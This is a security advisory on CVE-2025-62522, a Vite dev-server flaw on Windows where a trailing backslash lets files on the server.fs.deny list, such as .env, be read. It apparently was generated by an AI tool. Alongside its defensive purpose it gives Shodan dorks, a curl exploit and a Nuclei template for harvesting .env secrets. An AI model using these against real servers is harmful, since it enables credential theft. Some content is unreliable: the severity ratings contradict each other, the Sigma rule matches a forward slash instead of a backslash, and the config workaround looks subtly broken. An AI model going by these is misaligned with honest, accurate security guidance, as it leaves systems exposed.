CVE-2025-62522

Executive Summary

CVE-2025-62522 is a medium-severity information disclosure vulnerability affecting the Vite JavaScript frontend tooling framework. The flaw resides in the server.fs.deny access control mechanism on Windows systems. When the Vite dev server is explicitly exposed to the network, an unauthenticated remote attacker can bypass file access restrictions by appending a trailing backslash (\) to a URL path. This allows the attacker to read files that were explicitly denied by the server.fs.deny configuration, such as environment files (.env) containing sensitive credentials.

The vulnerability impacts a wide range of Vite versions from 2.9.18 up to, but not including, the patched versions 5.4.21, 6.4.1, 7.0.8, and 7.1.11. The attack is trivial to execute and requires no authentication, making it a significant risk for any development or staging environment where the Vite dev server is accessible over a network.

Supply Chain & Package Security

Vite is distributed via the npm registry. This vulnerability affects the core Vite package (vite). Organizations using Vite in their development workflows should immediately audit their dependency trees for affected versions. The supply chain risk is elevated because Vite is a build tool often used in CI/CD pipelines and local development environments. If a developer's machine or a shared build server is compromised via this vulnerability, it could lead to the exfiltration of environment secrets, API keys, and other sensitive data embedded in .env files or other restricted paths.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 7.5 (High)
• Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) - No special conditions are required; the attack is straightforward.
• Privileges Required (PR): None (N) - No authentication is needed.
• User Interaction (UI): None (N) - The victim does not need to perform any action.
• Scope (S): Unchanged (U) - The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) - Sensitive files can be read.
• Integrity (I): None (N) - No data modification is possible.
• Availability (A): None (N) - No denial of service.

Threat Level: High. The combination of network exploitability, low complexity, and high confidentiality impact makes this a critical vulnerability to patch immediately, especially in environments where the Vite dev server is exposed.

Deep Dive & Mechanics

The Vite dev server includes a security feature, server.fs.deny, which allows developers to specify a list of file patterns that should not be served to clients. This is intended to prevent access to sensitive files like .env, node_modules, or configuration files.

The vulnerability arises from a path normalization discrepancy on Windows. When a request URL ends with a backslash (\), the Windows filesystem treats it as a directory separator. However, Vite's path validation logic does not properly normalize this trailing backslash before comparing it against the server.fs.deny patterns.

Root Cause: The server.fs.deny check uses a glob or pattern matching system that expects forward slashes (/). On Windows, the trailing backslash is not converted to a forward slash before the check, causing the pattern match to fail. Consequently, the file is served despite being in the deny list.

Attack Flow:

1. The attacker identifies a Vite dev server exposed on the network (e.g., via Shodan or by probing for /@vite/client).
2. The attacker sends a GET request to /.env/\ (note the trailing backslash).
3. The Vite server receives the request. The path /.env/\ is not matched by the server.fs.deny pattern (which expects /.env or /.env/*).
4. The server reads the file /.env from the filesystem and returns its contents in the HTTP response.
5. The attacker extracts sensitive environment variables.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// In the request handler, path normalization is incomplete
const normalizedPath = path.normalize(request.url);
// The deny check uses a pattern that expects forward slashes
if (denyPatterns.some(pattern => minimatch(normalizedPath, pattern))) {
    return 403;
}
// On Windows, path.normalize does not convert trailing backslash to forward slash
// So '/.env/\' remains as '/.env/\' and does not match '/.env'

Patched Code (Conceptual):

// In the patched version, the path is fully normalized to use forward slashes
const normalizedPath = path.normalize(request.url).replace(/\\/g, '/');
// The deny check now works correctly
if (denyPatterns.some(pattern => minimatch(normalizedPath, pattern))) {
    return 403;
}
// The trailing backslash is converted to a forward slash, so '/.env/\' becomes '/.env/'
// This matches the deny pattern '/.env' or '/.env/*'

The fix ensures that all backslashes in the URL path are converted to forward slashes before the deny pattern check is performed. This aligns the path representation with the expected format of the pattern matching library.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A target Vite dev server running on Windows with an affected version.
• The dev server must be exposed to the network (e.g., not bound to localhost only).
• The target must have a .env file or other sensitive files in the project root.

Exploitation Steps:

1. Reconnaissance: Identify Vite dev servers. Use Shodan with the dork body:"/@vite/client" or scan for common Vite ports (e.g., 5173, 4173).

2. Craft the Payload: The exploit is a simple HTTP GET request with a trailing backslash.

3. Execute the Attack:

   curl -v "http://target:5173/.env/\"
   

   If successful, the server will return the contents of the .env file.

4. Automated Exploitation with Nuclei: The provided Nuclei template automates this process. Save it as CVE-2025-62522.yaml and run:

   nuclei -t CVE-2025-62522.yaml -u http://target:5173
   

Nuclei Template:

id: CVE-2025-62522

info:
  name: Vite - Information Disclosure
  author: DhiyaneshDK
  severity: medium
  description: |
    Vite is a frontend tooling framework for JavaScript.In versions from 2.9.18 to before 3.0.0, 3.2.9 to before 4.0.0, 4.5.3 to before 5.0.0, 5.2.6 to before 5.4.21, 6.0.0 to before 6.4.1, 7.0.0 to before 7.0.8, and 7.1.0 to before 7.1.11, files denied by server.fs.deny were sent if the URL ended with \ when the dev server is running on Windows. Only apps explicitly exposing the Vite dev server to the network and running the dev server on Windows were affected. This issue has been patched in versions 5.4.21, 6.4.1, 7.0.8, and 7.1.11.
  impact: |
    Remote attackers can access files denied by server.fs.deny, leading to sensitive information disclosure.
  remediation: |
    Update to versions 5.4.21, 6.4.1, 7.0.8, or 7.1.11 or later.
  reference:
    - https://github.com/vitejs/vite/security/advisories/GHSA-93m4-6634-74q7
  metadata:
    verified: true
    max-request: 1
    fofa-query: body="/@vite/client"
  tags: cve,cve2025,env,vite,disclosure

http:
  - raw:
      - |
        GET /.env/\ HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_any(body, "SESSDATA=","WEIBO_COOKIE=") || contains(body, "VITE_")'
          - '!contains(tolower(body), "<html")'
        condition: and

Blue Team (Defensive)

Lab Setup for Testing:

1. Create a vulnerable environment:

   • Use a Windows VM.
   • Install Node.js and npm.
   • Create a new Vite project: npm create vite@5.2.6 test-vuln
   • Navigate to the project and install dependencies: cd test-vuln && npm install
   • Create a .env file in the project root with a test variable: VITE_SECRET=test123
   • Start the dev server, exposing it to the network: npx vite --host 0.0.0.0

2. Verify the vulnerability:

   • From another machine, run: curl http://<windows-ip>:5173/.env/\
   • Observe that the .env file contents are returned.

3. Apply the patch:

   • Update Vite to a patched version: npm install vite@5.4.21
   • Restart the dev server.
   • Re-run the exploit and confirm it now returns a 403 Forbidden.

Detection Strategy:

• Monitor for HTTP requests with a trailing backslash (\) in the URL path.
• Look for requests to sensitive files like .env, config.json, or credentials that end with a backslash.
• Alert on successful 200 responses to such requests.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP GET requests to paths ending with a backslash, e.g., GET /.env/\ HTTP/1.1
  • HTTP responses with status 200 containing environment variable patterns like VITE_, SESSDATA=, WEIBO_COOKIE=.
  • Source IP addresses making multiple such requests.

• File System IOCs:

  • Unauthorized access to .env files or other files listed in server.fs.deny.
  • Log entries in the Vite dev server logs showing requests to paths with trailing backslashes.

• Behavioral IOCs:

  • Anomalous traffic to the Vite dev server from external IPs.
  • Sudden spikes in 200 responses for paths that should be denied.

Detection Engineering

YARA Rule

rule CVE_2025_62522_Vite_Info_Disclosure {
    meta:
        description = "Detects HTTP requests exploiting CVE-2025-62522 in Vite dev server"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://github.com/vitejs/vite/security/advisories/GHSA-93m4-6634-74q7"
        severity = "high"
    strings:
        $s1 = "GET /" ascii wide nocase
        $s2 = "/.env/\\" ascii wide nocase
        $s3 = "HTTP/1.1" ascii wide nocase
        $s4 = "VITE_" ascii wide nocase
        $s5 = "SESSDATA=" ascii wide nocase
    condition:
        all of ($s1, $s2, $s3) or ($s1 and $s2 and $s3 and any of ($s4, $s5))
}

Sigma Rule

title: CVE-2025-62522 Vite Dev Server Information Disclosure
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests with a trailing backslash targeting sensitive files on a Vite dev server.
author: Valters IT
date: 2025-04-10
references:
    - https://github.com/vitejs/vite/security/advisories/GHSA-93m4-6634-74q7
logsource:
    category: webserver
    product: generic
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|endswith: '/'
        cs-uri-query|contains: '.env'
    condition: selection
falsepositives:
    - Legitimate requests to directories ending with a slash (unlikely for .env)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-62522 Vite Dev Server Information Disclosure Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/.env/"; http_uri; content:"|5c|"; http_uri; distance:0; within:1; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch Vite: Update to the latest patched version:

   • For Vite 5.x: Update to 5.4.21 or later.
   • For Vite 6.x: Update to 6.4.1 or later.
   • For Vite 7.x: Update to 7.0.8 or later (7.0.x) or 7.1.11 or later (7.1.x).

   npm install vite@latest
   

2. Restrict Network Exposure: Do not expose the Vite dev server to untrusted networks. Bind it to localhost or use a firewall to restrict access.

   npx vite --host 127.0.0.1
   

3. Use a Reverse Proxy: Place a reverse proxy (e.g., Nginx, Caddy) in front of the dev server to filter malicious requests.

Long-Term Mitigations:

• Implement a Web Application Firewall (WAF) rule to block requests with trailing backslashes.
• Regularly audit dependencies for known vulnerabilities using tools like npm audit or Snyk.
• Enforce the principle of least privilege for development environments.
• Use environment variable management tools (e.g., HashiCorp Vault) instead of .env files in production-like settings.

Workaround (if patching is not immediately possible):

• Manually add a middleware to the Vite config to reject requests with trailing backslashes:

  // vite.config.js
  export default {
    server: {
      middlewareMode: true,
      configureServer(server) {
        server.middlewares.use((req, res, next) => {
          if (req.url.endsWith('\\')) {
            res.statusCode = 403;
            res.end('Forbidden');
          } else {
            next();
          }
        });
      }
    }
  };
  

Valters IT Signature:
This report was generated by Valters IT DevSecOps AI. For questions or further analysis, contact Secure Channels (Signal / Portal).

{/* [Security Hash: 1CDEA3F3079EC77FD150D973] */}